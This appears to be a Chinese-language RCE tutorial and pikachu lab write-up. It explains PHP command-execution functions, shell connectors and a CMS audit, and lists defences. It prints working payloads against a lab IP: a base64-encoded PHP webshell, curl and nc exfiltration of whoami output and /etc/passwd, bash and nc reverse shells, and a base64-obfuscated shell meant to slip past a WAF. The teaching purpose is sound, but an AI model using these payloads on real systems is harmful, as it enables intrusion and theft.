一、什么是RCE漏洞
远程命令/代码执行漏洞(remote command/code execute),简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
RCE分为远程命令执行ping和远程代码执行evel。
- 代码执行:用户输入的数据当作后端代码执行
- 命令执行:用户输入的数据当作系统命令执行
二、原理
RCE漏洞产生的根本原因:用户输入的数据被当做系统命令执行
是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
三、相关函数
system()
他不需要echo输出、他可以返回多行结果exec()
只回显最后一行,必须echo输出shell_exec()
没回显,要有echo才能输出.返回多行结果``
[反引号] 执行命令并且返回结果 (shell_exec 特殊写法)passthru()
执system特点一样 且其可以输出二进制,比如图像数据。popen(handle,mode)
无回显proc_open('cmd','flag','flag')
无回显$process=proc_open('dir','$des','$pipes');
echo stream_get_contents($pipes[1]);
四、命令执行相关连接符
;(分号)
命令从左到右被执行,可以使用分号分割。当有一条命令失败后,并不会影响其他命令
| (管道符)
前面命令标准输出,后面命令的标准输入。
&(后台任务符号)
commandA & commandB 先运行命令A,然后运行命令B,并不会影响其他命令
||(逻辑或)
commandA || commandB 运行命令A,如果失败则运行命令B
&&(逻辑与)
commandA && commandB 运行命令A,如果成功则运行命令B
命令替换
也就是会将命令替换中的命令替换成执行结果
``
反引号$()
win命令连接符
和linux下一样,也可以使用 |
,&
,||
,&&
五、没有回显解决方案
利用管道符写入shell
|echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9SRVFVRVNUWycxJ10pOz8+"|base64 -d > shell.php

在pikachu的RCE靶场试一下,可以看到写入成功
dnslog
dnslog是一个显示解析记录的平台,可以将回显数据拼接到dnslog的域名中,通过查看解析记录从而知道回显信息


可以看到,这里将whoami执行并拼接到子域名
burp collaborator client
这个是BURP自带的外带技术工具,和dnslog使用方法一样

点击 Copy to clipboard
获取域名,ping过之后就会有信息

利用日志测试无回显
通过HTTP协议,访问apache或者其他具有访问日志的服务器,就会留下访问记录
可以使用命令进行http访问
- curl 例子:使用pikachu靶场的RCE
|curl http://192.168.80.128/?`whoami`
执行命令后,apache的访问日志中就存在了这条记录

- wget
Netcat
使用nc进行读取文件传递到远程服务器上
- 远程服务器使用nc 进行监听
nc -lp 8888 > record

- 受害机读取本地文件发送到远程服务器对应端口
nc 192.168.80.128 < /etc/passwd


可以看到这里接收到了
nc反弹shell
在执行命令漏洞,一般的利用方式是执行反弹shell,再进行其他的操作
反弹shell由于是从服务器内部进行请求访问外部,防火墙通常都是放行的
- 远程服务器监听
nc -lvnp 8888
- 受害机发送socket请求
当然也可以使用其他的sock连接命令,由于环境不同,选择合适的就可
bash -i >& /dev/tcp/192.168.80.128/8888 0>&1

在pikachu里面,无法直接执行,必须通过 /bin/bash -c
执行
;/bin/bash -c 'bash -i >& /dev/tcp/192.168.80.128/8888 0>&1'

可以看到这里获得了www-data的权限
下面这个命令受害机必须有nc命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.80.128 8888 >/tmp/f
当这条命令被WAF拦截,可以通过base64加密绕过
||echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC44MC4xMjggODg4OCA+L3RtcC9m"|base64 -d|bash
六、漏洞危害
- 远程命令、代码执行
- 获取敏感数据、文件、服务器信息
- 写入恶意文件Getshell
- 。。。。。。
七、防御措施
- 不执行外部的应用程序或者命令
- 在进入执行命令函数前进行严格的检测和过滤;对于eval函数,要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式。
- 尽量不要使用命令执行函数,不能完全控制的危险函数最好不使用;或者使用自定义函数实现命令执行
- 使用escapeshellarg函数处理相关参数;escapeshellarg作用是把字符串转码为可以在 shell 命令里使用的参数
- 使用safe_mode_exec_dir设置可执行的文件路径;将php.ini文件中的safe_mode设置为On,safe_mode_exec_dir设置可执行的文件路径。
八、靶场实操
先对本地搭建的cms代码审计

shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");
控制$dumpFile = $backupFileName . "-%s.sql";

提交并用burp抓包

修改数据包,将filename值修改到GET传参,值为上图

应该是写马成功了
访问一下看看

成功,

找到flag
Comments NOTHING